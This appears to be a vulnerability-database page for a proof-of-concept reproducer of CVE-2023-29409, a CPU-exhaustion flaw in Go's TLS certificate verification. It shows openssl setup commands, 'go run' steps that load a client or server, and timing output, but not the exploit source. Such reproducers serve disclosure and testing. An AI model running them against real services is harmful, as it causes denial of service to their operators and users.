CVE-2023-29409 PoC — Google Golang 资源管理错误漏洞

Source

Associated Vulnerability

Description

 CVE-2023-29409 reproducer

Readme

# CVE-2023-29409

```bash
$ openssl genrsa -out ca-key.pem 2048
$ openssl req -x509 -new -nodes -key ca-key.pem -sha256 -days 100000 -out ca.pem \
-addext 'keyUsage=keyCertSign' \
-subj '/CN=Root CA'
$ go run main.go server # (in the background)
$ go run main.go client # causes high cpu load on client
$ go run main.go client-auth # causes high cpu load on the server
```

```bash
$ time go run main.go client
tls: invalid signature by the server certificate: crypto/rsa: verification error

real    0m13,160s
user    0m13,328s
sys     0m0,101s

$ time go run main.go client-auth
<nil>

real    0m10,985s
user    0m0,255s
sys     0m0,044s
```

File Snapshot

 [4.0K]  /data/pocs/253156498c4c5d8252dfae47869e28ed1bcf1f62
├── [  55]  go.mod
├── [1.0K]  LICENSE
├── [4.3K]  main.go
└── [ 644]  README.md

0 directories, 4 files

Remarks